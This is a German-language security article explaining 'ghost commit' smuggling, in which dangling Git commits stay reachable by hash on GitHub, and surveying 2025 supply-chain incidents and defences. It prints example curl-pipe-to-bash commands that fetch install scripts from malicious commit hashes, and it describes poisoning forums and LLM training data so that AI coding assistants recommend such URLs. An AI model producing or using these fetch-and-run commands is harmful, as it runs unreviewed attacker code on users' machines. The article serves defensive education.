Ghost-Commit Schmuggel: Wie Detached Git Commits verstecken

Einführung: Die unsichtbare Bedrohung in Ihrer Lieferkette

Im modernen DevSecOps-Umfeld sind wir darauf trainiert, dem “Grünen Häkchen” zu vertrauen. Wir vertrauen verifizierten Commit-Signaturen, der Haupt-Branch-Historie und der Annahme, dass Code auf einem renommierten Repository (wie github.com/facebook/react oder github.com/torvalds/linux) den Governance-Richtlinien des Projekts entspricht.

Doch ein subtiler, aber gefährlicher Angriffsvektor namens “Ghost-Commit” Schmuggel kehrt dieses Vertrauen gegen Entwickler um. Durch Ausnutzung der Lücke zwischen Git’s strikter Graph-Theorie und der Verfügbarkeits-orientierten Architektur von GitHub können Angreifer bösartigen Code auf legitimen, hoch-reputierten Repositories hosten, ohne dass dieser jemals in der sichtbaren Historie des Projekts erscheint (git log).

Dieser Angriff erfordert keinen Kompromiss eines Maintainers-Accounts oder das Mergen eines Pull Requests. Er basiert auf dem Konzept von “Waisen” oder “Dangling”-Commits – Code, der in der Datenbank existiert, aber nur erreichbar ist, wenn man bereits weiß, wo man suchen muss.

Dieser Artikel analysiert die Mechanik des Ghost-Commit-Schmuggels, warum er trotz Plattform-Sicherheitsmaßnahmen besteht, wie er in automatisierten Skripten und KI-generierter Dokumentation genutzt wird und beleuchtet aktuelle reale Angriffe, die diese Schwachstellen ausnutzen.

1. Was ist Ghost-Commit-Schmuggel?

Ghost-Commit-Schmuggel ist eine Supply-Chain-Angriffstechnik, bei der ein Angreifer einen Commit in ein Repository (oft ein Fork oder ein Branch, auf den er Zugriff hat) schiebt und sofort die Referenz (den Branch oder Tag), die darauf zeigt, löscht.

Während der Branch verschwindet, bleibt das Commit-Objekt selbst in der Datenbank des Remote-Servers bestehen.

Das Angriffsszenario

Injection: Der Angreifer schiebt einen bösartigen Commit (z.B. einen Crypto-Miner oder eine Hintertür in ein Installationsskript) auf einen temporären Branch: feature/innocent-update.

Obfuskation: Der Angreifer löscht den Branch feature/innocent-update.

Persistenz: Das Commit ist jetzt “Wais” (dangling). Es erscheint nicht im Dateibaum, in der Commit-Historie oder in Suchergebnissen des Repositories.

Waffenfähigkeit: Das Commit ist weiterhin über seinen direkten SHA-1-Hash zugänglich. Der Angreifer baut eine “gültige” URL:

curl -L https://raw.githubusercontent.com/trusted-org/repo/8f3a1b2c...[MALICIOUS_HASH]/install.sh | bash

Verbreitung: Diese URL wird in Foren, StackOverflow-Antworten oder in Trainingsdaten von LLMs injiziert, sodass KI-Codierungsassistenten sie unbewusst empfehlen.

Das Opfer sieht eine URL, die auf github.com/trusted-org zeigt, und nimmt an, dass sie sicher ist, ohne zu wissen, dass sie Code aus dem “Netherworld” der Repository-Datenbank zieht.

2. Technischer Deep Dive: Warum bestehen Ghost Commits?

Um zu verstehen, warum diese Schwachstelle besteht, müssen wir den Unterschied zwischen Git (dem Protokoll) und GitHub/GitLab (den Plattformen) betrachten.

Git-Interna: Reachability vs. Existenz

Git ist ein content-adressierbares Dateisystem. Wenn Sie einen Commit erstellen, ist es ein diskretes Objekt, das im .git/objects-Verzeichnis gespeichert wird, identifiziert durch den SHA-1-Hash seines Inhalts.

Referenzen (Refs): Branches und Tags sind einfache “Zeiger” (Textdateien), die den Hash eines bestimmten Commits enthalten.

Reachability: Ein Commit ist “erreichbar”, wenn Sie von einem Ref (wie main) starten und eine Linie der Elternschaft zurückverfolgen können.

Wenn Sie einen Branch (git branch -D feature) löschen, löschen Sie nur den Zeiger. Das tatsächliche Commit-Objekt (und die Dateiblobs, auf die es verweist) verbleiben auf der Festplatte. In einer lokalen Umgebung werden diese schließlich durch einen Prozess namens Garbage Collection (GC) bereinigt.

Das Persistenzproblem in der Cloud

Plattformen wie GitHub und GitLab arbeiten anders als Ihre lokale Maschine, um Leistung und Wiederherstellung zu gewährleisten.

Lazy Garbage Collection: Das Ausführen von git gc ist rechenintensiv. Cloud-Plattformen führen GC nicht sofort nach jedem Push oder Branch-Löschen durch. Sie verlassen sich auf “heuristische Wartung”. Ein Waisen-Objekt kann Wochen, Monate oder unbegrenzt bestehen bleiben, abhängig von der Repository-Größe und Aktivität.

Der “Cached View”-Dilemma: Um die Web-Browsing-Geschwindigkeit zu erhöhen, cachen diese Plattformen Commit-Ansichten. Selbst wenn ein Objekt technisch gelöscht werden könnte, kann die Web-Anwendung den Inhalt weiterhin ausliefern, wenn es nach seinem Hash gefragt wird.

Fork-Pools: Bei GitHub teilen Forks eines Repositories oft einen gemeinsamen “Object Pool” im Backend, um Speicher zu sparen. Wenn ein Fork auf einen Commit verweist oder der Commit im Pool vorhanden ist, bleibt er möglicherweise über die URL des Eltern-Repositories zugänglich, auch wenn das Eltern-Repository diesen Commit nie “besessen” hat.

Wichtig: Sie können oft auf einen Commit, der in einem Fork gepusht wurde, über die URL des Upstream-Repositories zugreifen, sofern sie einen gemeinsamen Object Pool teilen. Das ermöglicht Angreifern, den Eindruck zu erwecken, dass der bösartige Code vom Upstream-Maintainer gehostet wird.

Aktuelle Forschung: Die “Oops Commits” Untersuchung (2025)

Im September 2025 führte die Sicherheitsforscherin Sharon Brizinov in Zusammenarbeit mit Truffle Security eine umfassende Untersuchung durch, die Tausende von Geheimnissen in GitHub’s “Oops Commits” aufdeckte – force-pushed oder gelöschte Commits, die unbegrenzt archiviert bleiben.

Die Forschung zeigte, dass GitHub jeden öffentlichen Commit behält, selbst wenn Entwickler versuchen, diese durch Force-Pushes zu löschen, als “Zero-Commit” PushEvents im Archiv. Durch das Scannen all dieser dangling commits seit 2020 mit Daten aus dem GitHub Archive entdeckte Brizinov Geheimnisse, die zu etwa 25.000 US-Dollar in Bug-Bounty-Belohnungen führten, insbesondere GitHub Personal Access Tokens und AWS-Credentials, die zu groß angelegten Supply-Chain-Angriffen hätten führen können.

Wichtige Erkenntnisse:

Eine große Menge an aktiven Geheimnissen, z.B. MongoDB-Zugangsdaten und API-Tokens, in .env- und Konfigurationsdateien
Das Tool “Force Push Scanner” wurde entwickelt, um orphaned commits innerhalb von GitHub-Organisationen zu identifizieren und zu scannen
Hinweise, dass Commits, die gelöscht werden sollten, oft unbegrenzt zugänglich bleiben
Bestätigung, dass “es keinen bewiesenen Weg gibt, einen Commit zu löschen, sobald er Ihren Rechner verlässt”

Ein besonders auffälliges Beispiel betrifft das Projekt Istio (eine Service-Mesh-Plattform für Kubernetes), bei dem ein orphaned Commit einen administrativen Zugriffstoken enthielt, der direkten Zugriff auf alle Repositories im Istio-Projekt bot. Da der Commit orphaned, aber noch bei GitHub gespeichert war, konnte der Forscher ihn abrufen und analysieren, was den Umfang der kompromittierten Zugangsdaten offenbarte.

3. Der Waffenfähigkeitsvektor: “curl | bash” und KI-Poisoning

Die häufigste Exploit-Methode betrifft Installationsskripte. Viele moderne Entwickler-Tools werden via:

curl -fsSL https://github.com/user/project/raw/main/install.sh | bash

installiert. Sicherheitsbewusste Entwickler prüfen möglicherweise das install.sh im Haupt-Branch. Angreifer schmuggeln jedoch den Ghost-Commit-Hash in die URL:

# Sieht legitim aus: Domain ist korrekt, Repo ist korrekt.
curl -fsSL https://github.com/user/project/raw/5d8e1f...[GHOST_HASH]/install.sh | bash

Der KI-Halluzination- & Poisoning-Multiplier

Dieses Angriffsmuster hat durch den Aufstieg generativer KI an Dringlichkeit gewonnen.

Training Data Poisoning: Angreifer können Foren und öffentliche Datensätze mit “Setup-Guides” vergiften, die diese Ghost-Hashes verwenden.

Halluzination: LLMs generieren oft Code-Snippets, die korrekt aussehen, aber spezifische, veraltete oder halluzinierte Hashes verwenden. Wenn ein Angreifer eine Hash-Kollision (extrem schwierig mit SHA-1, aber theoretisch möglich) erzeugen oder einfach einen Hash vorhersagen kann, könnten sie einen Link erzeugen, den eine KI wahrscheinlich generiert.

Folge: Ein Entwickler fragt ChatGPT oder Copilot “Wie installiere ich Tool X?” und die KI liefert einen gültig aussehenden Befehl mit einem bestimmten Hash. Wenn dieser Hash auf einen Ghost-Commit verweist (zufällig oder durch bösartige Seeding), führt der Entwickler unüberprüften Code aus.

Reale Angriffe: Aktuelle Supply-Chain-Angriffe (2025-2026)

Die theoretische Bedrohung durch Ghost-Commits hat sich in verheerende reale Angriffe im Jahr 2025 und Anfang 2026 manifestiert:

GhostAction-Kampagne (September 2025)

GitGuardian entdeckte einen groß angelegten Supply-Chain-Angriff, der 327 GitHub-Nutzer in 817 Repositories betraf. Angreifer injizierten bösartige Workflows, die 3.325 Geheimnisse exfiltrierten, darunter Tokens von PyPI, npm und DockerHub via HTTP POST an einen entfernten Endpunkt.

Die Kampagne arbeitete durch: - Kompromittierung von GitHub-Nutzerkonten - Analyse legitimer Workflow-Dateien, um verfügbare Geheimnisse zu identifizieren - Einschleusen bösartiger Workflows, getarnt als “Github Actions Security” - Extraktion von Geheimnissen aus CI/CD-Umgebungen und Versand an vom Angreifer kontrollierte Endpunkte

Eine zweite Welle im September 2025 sah etwa 500 neue Commits, die mit ähnlichen bösartigen Payloads in GitHub-Repositories gepusht wurden, mit einem aktualisierten Exfiltrations-Endpunkt.

Die tj-actions/changed-files Kompromittierung (März 2025)

Ein Supply-Chain-Angriff kompromittierte die weitverbreitete tj-actions/changed-files GitHub Action, die über 23.000 Repositories betrifft. Angreifer modifizierten rückwirkend mehrere Versionstags, um auf einen bösartigen Commit zu verweisen, was CI/CD-Geheimnisse in Workflow-Logs offenlegte.

Der Angriff umfasste: - Modifikation der GitHub Action, um ein bösartiges Python-Skript auszuführen - Extraktion von Geheimnissen aus dem Arbeiterspeicher des Runners - Ausgabe der Geheimnisse in GitHub Actions-Logs, was sie öffentlich in Repositories mit öffentlichen Workflow-Logs sichtbar machte

Die Schwachstelle war zwischen dem 14. und 15. März 2025 aktiv, CVE-2025-30066.

Shai-Hulud 2.0: Der wurmfähige Supply-Chain-Angriff (November 2025)

Der vielleicht ausgefeilteste Angriff kam im November 2025 mit Shai-Hulud 2.0, das etwa 796 npm-Pakete mit insgesamt mehreren Millionen Downloads pro Woche innerhalb von nur 72 Stunden kompromittierte.

Der Angriff beinhaltete: - Selbstreplizierende Wurm-Fähigkeiten, die abhängige Pakete automatisch infizierten - Credential Harvesting in großem Maßstab, targeting npm-Tokens, GitHub-Credentials, AWS-Keys und Cloud-Secrets - Ein zerstörerischer “Dead Man’s Switch”, der ganze Entwicklerumgebungen löschen könnte - Missbrauch von preinstall Lifecycle-Skripten, die bösartigen Code vor Abschluss der Installation ausführen lassen

Das Malware tarnte sich, indem es so aussah, als würde es die Bun JavaScript-Laufzeit via legitime Befehle installieren:

curl -fsSL https://bun.sh/install | bash

Nach Ausführung sammelte es Anmeldeinformationen mit TruffleHog und Azure CLI, um Daten an öffentliche GitHub-Repositories mit Beschreibungen wie “Shai-Hulud” zu exfiltrieren.

Bemerkenswerte Merkmale: - Cross-Opfer-Exfiltration: Geheimnisse eines Opfers wurden in öffentlichen Repositories anderer, unabhängiger Opfer exfiltriert - Über 25.000 kompromittierte GitHub-Repositories - Erste Welle im September 2025 kompromittierte 187 Pakete und stahl ca. 50 Mio. USD in Kryptowährungen - KI-generierter bösartiger Code (Forscher schätzen mit moderatem Vertrauen, dass ein LLM zur Generierung des Bash-Skripts verwendet wurde)

CVE-2025-48384: Git RCE Schwachstelle (Juli 2025)

Im Juli 2025 wurde eine kritische Git-Schwachstelle veröffentlicht, die ausgenutzt werden konnte, um bösartige Git Hook-Skripte zu schreiben, was zu Remote-Code-Ausführung führte, wenn Subcommands wie git commit und git merge ausgeführt wurden.

Ein Angreifer konnte eine bösartige .gitmodules-Datei mit Submodule-Pfaden, die auf ein Wagenrücklauf-Zeichen enden, erstellen. Aufgrund des Verhaltens des Git-Konfigurationsparsers kann dieses Zeichen beim Lesen entfernt, beim Schreiben jedoch erhalten bleiben, was eine bösartige Umleitung der Submodule-Inhalte ermöglicht.

Bis September 2025 fügte CISA diese Schwachstelle in den Katalog der “Known Exploited Vulnerabilities” (KEV) ein, nachdem Exploits in freier Wildbahn aktiv genutzt wurden.

4. Reale Auswirkungen und Risiken

1. Umgehung der Code-Review

Da der Commit “dangling” ist, erscheint er nicht in der “Commits”-Liste oder im “Network”-Diagramm des Repositories. Eine Sicherheitsüberprüfung des Haupt-Branches wird ihn niemals finden. Der Code existiert in einem blinden Fleck.

2. Unveränderliche Bosheit

Sobald ein Entwickler ein Skript mit einem bestimmten Hash verwendet, ist er “gepinnt” auf diese Version. Im Gegensatz zu einem Branch-Referenz (der von Maintainers aktualisiert werden kann, um eine Schwachstelle zu beheben), ist ein Commit-Hash unveränderlich. Wenn eine CI/CD-Pipeline auf einen Ghost-Hash festgelegt ist, bleibt sie für immer kompromittiert, auch wenn der Maintainer den Haupt-Branch aktualisiert.

3. Persistierende Geheimnis-Leaks

Dieses Mechanismus ist auch der Grund, warum “Löschen eines Branches” kein Credential-Leak behebt. Wenn Sie versehentlich einen API-Key committen und den Branch löschen, haben Bots, die die “PushEvents” API scannen, den Hash bereits archiviert. Sie können die “gelöschte” Datei weiterhin über die Roh-URL unbegrenzt zugreifen.

Wie GitHub klarstellt: Alle sensiblen Daten, die auf GitHub committet werden, sollten als kompromittiert betrachtet werden, egal ob der Commit privat beginnt und öffentlich endet oder durch Force-Push gelöscht wird.

4. Cross-Fork-Objekt-Referenz

Forschung von Truffle Security im Jahr 2025 zeigte, dass Commits in Forks durch den gemeinsamen Object Pool des Upstream-Repositories zugänglich sind. Das bedeutet, ein Angreifer kann bösartigen Code in seinen Fork pushen und ihn über die URL des Upstream-Maintainers zugänglich machen, was den Eindruck legitimer Code erzeugt.

5. Erkennung und Abwehrmaßnahmen

Wie verteidigen wir uns gegen einen unsichtbaren Feind?

Für Repository-Maintainer

1. Aggressive Garbage Collection (Self-Hosting)

Wenn Sie GitLab Self-Managed oder GitHub Enterprise Server betreiben, können Sie aggressive Wartungsrichtlinien konfigurieren.

GitLab: Konfigurieren Sie git gc, um häufiger auszuführen und unerreichbare Objekte früher zu bereinigen (gc.pruneExpire).
GitHub: Sie können GC nicht manuell auf github.com auslösen. Kontaktieren Sie den Support, wenn Sie sensible Daten oder bekannte bösartige Hashes sofort entfernen müssen.

2. Der Befehl `git fsck`

Um dangling commits in einem lokalen Klon (oder auf einem kontrollierten Server) zu finden:

git fsck --lost-found

Dies listet “dangling commits” auf. Sie können diese dann inspizieren. Beachten Sie, dass git fetch in der Regel keine dangling commits von einem Remote herunterlädt, daher ist die Erkennung schwierig ohne Serverzugriff.

Um manuell eine Garbage Collection durchzuführen und alle unerreichbaren Objekte sofort zu bereinigen:

git gc --prune=now

Dies weist Git an, die Zwei-Wochen-Sicherheitsnetz zu ignorieren und alle dangling commits zu löschen.

3. Beschränkung des Forkings (radikal)

In Hochsicherheitsumgebungen verhindert die Beschränkung von Forks das Teilen des “Object Pool”-Verhaltens, sodass Commits, die in einem Fork gepusht werden, nicht über die Repository-URL des Teams zugänglich sind.

4. Überwachung von Force-Push-Events

Verwenden Sie Tools wie den Force Push Scanner (entwickelt von Truffle Security und 2025 open-source gestellt), um: - Orphaned commits in Ihrer GitHub-Organisation oder Ihrem Nutzerkonto zu identifizieren - Die GH Archive-Datenbank mit BigQuery zu durchsuchen - TruffleHog-Scans durchzuführen, um versteckte Geheimnisse und Schwachstellen aufzudecken

5. Implementieren Sie Sicherheitsfunktionen von GitHub

Push Protection: Jetzt standardmäßig für viele Organisationen aktiviert, verhindert Secrets beim Pushen (scant jedoch keinen bösartigen Code)
Secret Scanning: Erkennt automatisch geleakte Zugangsdaten
Branch Protection Rules: Erfordern Reviews für Workflow-Änderungen

Für Entwickler und Nutzer (kritisch)

1. Die “Nur-Haupt”-Regel

NIEMALS einen curl | bash-Befehl ausführen, der auf einen bestimmten Commit-Hash (/raw/<SHA1>/) zeigt, ohne diesen Commit im Kontext der Repository-Historie persönlich geprüft zu haben.

Sicherer: curl .../raw/main/install.sh (vertraut der neuesten Version)
Sicherer: curl .../raw/v1.0.2/install.sh (vertraut einem bestimmten Tag)
Unsicher: curl .../raw/a1b2c3d4.../install.sh (blinde Vertrauensbasis auf einen statischen Objekt)

2. Commit-Reachability prüfen

Wenn Sie einen bestimmten Hash verwenden müssen, prüfen Sie, ob er Teil der Haupt-Historie ist:

git branch -r --contains <HASH>

Wenn dieser Befehl nichts zurückgibt, ist der Commit dangling. Nicht verwenden.

3. Nach Tag, nicht Hash pinnen

Beim Einrichten von CI/CD-Pipelines pinnen Sie Versionen mit signierten Tags (z.B. v1.2.0) anstelle von rohen Commit-Hashes, wann immer möglich. Wenn Sie nach Hash pinnen müssen, stellen Sie sicher, dass dieser Hash der Spitze eines bekannten Tags ist.

4. Abhängigkeiten auditieren

Überprüfen Sie regelmäßig: - Setup-Skripte und Installationsbefehle - CI/CD-Konfigurationen - Alle Referenzen auf rohe Commit-Hashes im Code

Wenn Sie einen rohen Commit-Hash sehen, untersuchen Sie ihn. Wenn git branch --contains nichts findet, könnten Sie einen Ghost vor sich haben.

5. Sicherheits-Scanning-Tools verwenden

Implementieren Sie Tools zur Erkennung offengelegter Geheimnisse: - TruffleHog: Scannt nach Geheimnissen in Git-Repositories - GitGuardian: Überwacht auf Geheimnis-Leaks in Echtzeit - GitHub Advanced Security: Bietet Secret Scanning und Code-Scanning

6. Kompromittierte Credentials sofort widerrufen

Wenn Sie versehentlich Geheimnisse committet haben: - Annehmen, dass sie kompromittiert sind – auch wenn Sie den Branch gelöscht haben - Sofort alle Credentials widerrufen und rotieren - Secret-Management-Plattformen wie HashiCorp Vault, AWS Secrets Manager oder Azure Key Vault verwenden - Automatisierte Rotationsprozesse implementieren

7. Lebenszyklus-Skripte in CI/CD einschränken

Die Shai-Hulud-Angriffe zeigten die Gefahr von npm preinstall- und postinstall-Hooks: - Lifecycle-Skripte in CI/CD deaktivieren oder einschränken - Outbound-Netzwerkzugriff auf Build-Systemen nur auf vertrauenswürdige Domains erlauben - Kurzlebige, scoped Automatisierungstokens verwenden - Phishing-resistente MFA für Entwickler- und CI/CD-Konten implementieren

6. Aktueller Stand der Plattform (2025-2026)

Stand Anfang 2026 haben GitHub und GitLab einige Maßnahmen eingeführt, aber das Kernverhalten bleibt eine architektonische Realität.

GitHub-Maßnahmen

Push Protection: Diese Funktion (jetzt standardmäßig für viele Organisationen aktiviert) verhindert Secrets beim Pushen. Es scannt jedoch keinen bösartigen Code (z.B. Reverse Shell) in dangling commits.

Commit-Warnungen: GitHub zeigt jetzt eine Banner-Warnung “Dieser Commit gehört keinem Branch in diesem Repository an und könnte zu einem Fork außerhalb des Repositories gehören”, wenn solche Commits in der UI angezeigt werden. Beachten Sie diese Warnung.

Retention Policies: Die Dokumentation von GitHub besagt, dass unerreichbare Objekte schließlich gelöscht werden, aber “letztendlich” ist keine Garantie. Empirische Tests zeigen, dass Objekte 90+ Tage oder länger bestehen bleiben können, wenn sie Teil eines Fork-Netzwerks sind.

Erweiterte Sicherheitsfunktionen: GitHub Advanced Security umfasst jetzt: - Dependency Review - Secret Scanning Alerts - Code Scanning mit CodeQL - Supply Chain Security Insights

Branchenreaktion

Die Sicherheitsgemeinschaft hat auf die eskalierende Bedrohung reagiert:

CISA KEV-Katalog: Das US-Cybersecurity- und Infrastruktur-Sicherheitsagentur (CISA) hat mehrere Git-bezogene Schwachstellen in ihren “Known Exploited Vulnerabilities” (KEV) Katalog aufgenommen und Bundesbehörden zur Abhilfe verpflichtet.

npm-Sicherheitsänderungen: Nach den Shai-Hulud-Angriffen kündigte npm im November 2025 an, dass klassische Tokens am 9. Dezember 2025 widerrufen werden, um auf sicherere Token-Typen umzusteigen.

Erhöhte Bewusstseinsbildung: Große Sicherheitsanbieter (Microsoft, Palo Alto Networks, Wiz, GitGuardian, Trend Micro) haben detaillierte Analysen und Erkennungshinweise für Supply-Chain-Angriffe veröffentlicht.

7. Die breitere Supply-Chain-Sicherheitskrise 2025

Die Ghost-Commit-Schwachstelle ist Teil eines größeren Kontexts von Supply-Chain-Sicherheitsherausforderungen, die 2025 dominierten:

Bemerkenswerte Angriffsmuster

Entwickler-Ziel: Komplexe Social-Engineering-Kampagnen, die Entwickler ins Visier nehmen, inklusive gefälschter Vorstellungsgespräche (Contagious Interview-Kampagne durch nordkoreanische Akteure) und Phishing, die npm-Support vortäuschen.

Manipulation von CI/CD: Angreifer zielen zunehmend auf GitHub Actions, GitLab CI und andere Automatisierungsplattformen, um Geheimnisse zu stehlen und bösartigen Code einzuschleusen.

KI-gestützte Angriffe: Hinweise, dass LLMs zur Generierung von Malware und Exploitation-Skripten genutzt werden, inklusive der S1ngularity-Kampagne, die KI-CLI-Tools (Claude, Gemini, Amazon Q) für Reconnaissance nutzte.

Wurmfähige Malware: Selbstreplizierende Supply-Chain-Angriffe, die sich automatisch durch Abhängigkeitsbäume ausbreiten, wie bei Shai-Hulud.

Cross-Opfer-Exfiltration: Angreifer nutzen die Infrastruktur der Opfer (öffentliche GitHub-Repositories), um gestohlene Zugangsdaten zu exfiltrieren und zu speichern, was die Attribution erschwert.

Zeitstrahl wichtiger Supply-Chain-Ereignisse 2025

Januar 2025: Operation 99 (Lazarus Group) zielt auf Web3-Entwickler
März 2025: CVE-2025-30066 (tj-actions/changed-files Kompromittierung)
Mai 2025: bösartige Version rand-user-agent
Juli 2025: CVE-2025-48384 (Git RCE Schwachstelle)
August 2025: Kompromittierung von Nx-Paketen (S1ngularity-Kampagne)
September 2025:
- GhostAction-Kampagne (817 Repos, 3.325 Geheimnisse)
- Shai-Hulud 1.0 (187 Pakete, 50 Mio. USD Diebstahl)
- Veröffentlichung der “Oops Commits”-Forschung von Sharon Brizinov
November 2025:
- Shai-Hulud 2.0 (796 Pakete, 25.000+ Repos)
- GitLab entdeckt groß angelegte npm Supply-Chain-Attacke
Dezember 2025: React Server Components Schwachstelle ausgenutzt (CVE-2025-55182)

Fazit

Der “Ghost-Commit” ist kein Fehler; er ist eine Funktion verteilter Versionskontrollsysteme, die mit den Realitäten des Cloud-Speichers kollidiert. Er lässt die Vergangenheit die Gegenwart heimsuchen.

Für Angreifer bietet er einen perfekten Versteckplatz: eine legitime Domain, ein gültiges SSL-Zertifikat und keine Sichtbarkeit in den Audit-Logs. Für Entwickler ist er eine deutliche Erinnerung: Identität ist nicht Integrität. Nur weil eine Datei von github.com/microsoft oder github.com/google bereitgestellt wird, bedeutet das nicht, dass sie von diesen Organisationen unterstützt wird, wenn Sie sie über einen dangling hash abrufen.

Die Ereignisse von 2025 haben bewiesen, dass Supply-Chain-Angriffe nicht mehr nur theoretisch sind – sie sind eine aktive, sich entwickelnde Bedrohung, die die Branche Hundertmillionen Dollar gekostet und Tausende von Organisationen kompromittiert hat. Die Konvergenz mehrerer Faktoren macht diese Bedrohung besonders gefährlich:

Persistenter Objektspeicher in cloudbasierten Git-Plattformen
Weitverbreitete Nutzung von curl | bash-Installationsmustern
KI-Systeme, die halluzinieren oder mit bösartigem Installationscode vergiftet werden können
Hochentwickelte Angreifer, die KI nutzen, um Malware zu generieren
Entwicklervertrauen in Repository-URLs und Paket-Ökosysteme

Handlungsempfehlung

Überprüfen Sie heute Ihre Setup-Skripte und CI/CD-Pipelines. Wenn Sie einen rohen Commit-Hash sehen, untersuchen Sie ihn. Wenn git branch --contains nichts findet, könnten Sie einen Ghost vor sich haben. Implementieren Sie mehrschichtige Verteidigungsstrategien:

Führen Sie niemals Code aus Commit-Hashes aus
Überprüfen Sie stets die Commit-Reachability
Verwenden Sie signierte Tags für Versionierung
Implementieren Sie Secret-Scanning und Rotation
Beschränken Sie Lifecycle-Skripte in CI/CD
Überwachen Sie unbefugte Repository-Aktivitäten
Nutzen Sie phishing-resistente MFA
Gehen Sie davon aus, dass jedes commitete Geheimnis für immer kompromittiert ist

Die Sicherheitslage in der Supply Chain hat sich grundlegend verändert. Organisationen müssen ihre Entwicklerumgebungen, CI/CD-Pipelines und Abhängigkeitsverwaltung mit der gleichen Sicherheitsrigor behandeln wie Produktionssysteme. Die versteckten Ghost-Commits in Repositories weltweit sind nur ein Vektor in einer vielschichtigen Bedrohung, die umfassende, mehrschichtige Verteidigungen erfordert.

Häufig gestellte Fragen (FAQ)

Q: Kann ich einen Ghost-Commit selbst löschen?

A: Auf github.com in der Regel nicht. Wenn Sie den Branch löschen, gelangt der Commit in den “orphaned”-Zustand, bleibt aber zugänglich. Um ihn dauerhaft zu entfernen (z.B. aus rechtlichen oder sicherheitsrelevanten Gründen), müssen Sie den GitHub Support kontaktieren, um eine manuelle GC und Cache-Löschung im Repository-Netzwerk zu beantragen. Selbst dann kann der Commit, wenn er in einem Fork gepusht wurde oder archiviert wurde, unbegrenzt bestehen bleiben.

Q: Betrifft das private Repositories?

A: Ja. Wenn ein Angreifer Schreibzugriff hat (oder ein Kollaborateur unrechtmäßig handelt), kann er einen Ghost-Commit pushen. Wenn das Repo später öffentlich gemacht wird oder der Hash geleakt wird, bleibt der Code zugänglich. Untersuchungen haben gezeigt, dass bei Open-Sourcing privater Repositories die dangling commits in die öffentliche Version übernommen werden können, was sensible Daten unabsichtlich offenlegt.

Q: Reicht git reset --hard aus, um lokale Ghost-Commits zu entfernen?

A: Lokal verschiebt git reset nur den Branch-Pointer. Der Commit verbleibt im .git-Ordner, bis git gc --prune=now ausgeführt wird. Das bereinigt nur die lokale Maschine, nicht den Remote-Server. Nach Push auf einen Dienst wie GitHub wird der Commit auf deren Servern gespeichert und folgt deren GC-Politik.

Q: Wie lange bleiben Ghost-Commits auf GitHub bestehen?

A: Die offizielle Policy von GitHub besagt, dass unerreichbare Objekte letztendlich gelöscht werden, aber kein konkreter Zeitrahmen genannt wird. Empirische Untersuchungen aus 2025 zeigen, dass Objekte 90+ Tage oder länger bestehen bleiben können, wenn sie Teil eines Fork-Netzwerks. Einige Forscher fanden Commits Jahre nach Löschung noch zugänglich. Die praktische Antwort lautet: unbegrenzt, bis manuell eingegriffen wird.

Q: Kann ich ein privates Repository sicher open-sourcen?

A: Nicht nur durch Ändern der Sichtbarkeit. Truffle Security empfiehlt, ein komplett neues öffentliches Repository zu erstellen und nur den aktuellen Code zu kopieren:

# Sicherstellen, dass Backups vorhanden sind
cd <repo>
rm -rf .git
git init
git add .
git commit -m "initial commit"
git branch -M main
git remote add origin https://github.com/<user>/<new-repo>.git
git push -u origin main

Dadurch werden keine dangling commits, Pull-Request-Historie oder Secrets aus dem privaten Repository übernommen.

Q: Was tun, wenn ich versehentlich ein Secret committet habe?

A: Gehen Sie davon aus, dass es bereits kompromittiert ist:

Sofort alle Credentials widerrufen und rotieren
Nicht nur den Branch löschen oder force-pushen, um es zu entfernen
GitHub Archive und GH Archive auf mögliche Erfassung prüfen
Kontaktieren Sie den Support für eine Notfallbereinigung
Implementieren Sie Secret-Scanning-Tools, um zukünftige Vorfälle zu verhindern
Wechseln Sie zu einem sicheren Secret-Management (Vault, AWS Secrets Manager, Azure Key Vault)

Q: Verschlimmert KI-Codierungsassistenten das Problem?

A: Ja. Studien zeigen, dass: - LLMs Installationsbefehle mit spezifischen Commit-Hashes halluzinieren können - Angreifer Trainingsdaten mit bösartigem Code vergiften können - KI-Tools veraltete oder kompromittierte Paketversionen vorschlagen - Entwickler zunehmend KI-generierten Code ohne Überprüfung vertrauen

Die S1ngularity-Kampagne im August 2025 nutzte speziell KI-CLI-Tools für Malware-Reconnaissance, was zeigt, dass KI sowohl ein Vektor als auch ein Ziel für Supply-Chain-Angriffe ist.

Q: Wie kann ich meine Organisation schützen?

Implementieren Sie eine umfassende Verteidigungsstrategie:

Prävention: - Phishing-resistente MFA für alle Entwicklerkonten - Branch Protection Rules mit Review-Anforderungen - Secret-Scanning und Push Protection - Schulung der Entwickler zu Supply-Chain-Risiken - Inventar aller Abhängigkeiten führen

Erkennung: - Überwachung von Force-Push-Events und dangling commits - Nutzung von Tools wie Force Push Scanner und TruffleHog - SIEM-Alerts bei verdächtiger Git-Aktivität - Regelmäßige Audits der CI/CD-Konfigurationen - Überwachung von neuen Repositories in Ihrer Organisation

Reaktion: - Notfallplan bei Supply-Chain-Komprimittierungen - Offline-Backups kritischer Repositories - Kommunikationskanäle mit Sicherheitsanbietern - Credential-Rotationsverfahren - Dokumentation des Software Bill of Materials (SBOM)

Q: Ist das nur ein GitHub-Problem?

A: Nein. Obwohl dieser Artikel sich auf GitHub bezieht, existieren ähnliche Verhaltensweisen bei GitLab, Bitbucket und anderen Git-Hosting-Plattformen. Das zugrunde liegende Problem ist grundlegend für die Interaktion verteilter Versionskontrollsysteme mit Cloud-Speicher. GitHub’s Dominanz im Open-Source-Ökosystem und seine Fork-Sharing-Architektur machen es jedoch zu einem besonders attraktiven Ziel.

Haftungsausschluss: Dieser Artikel dient nur zu Bildungszwecken. Das Verständnis der Angriffsvektoren ist der erste Schritt zur Sicherung der Software-Lieferkette. Die beschriebenen Techniken dürfen nur für legitime Sicherheitsforschung und Verteidigung verwendet werden. Holen Sie stets die entsprechende Genehmigung ein, bevor Sie Sicherheitstests an Systemen durchführen, die nicht in Ihrem Besitz sind.

Über den Autor: Dieser Artikel fasst Forschungen mehrerer Sicherheitsfirmen und unabhängiger Forscher zusammen, die Supply-Chain-Angriffe auf Git-Basis untersucht haben. Besonderer Dank gilt GitGuardian, Truffle Security, Sharon Brizinov, Microsoft Security, Palo Alto Networks Unit 42 und der breiten Sicherheitsforschungsgemeinschaft für ihre Beiträge zum Verständnis dieser Bedrohungen.

Zuletzt aktualisiert: 10. Februar 2026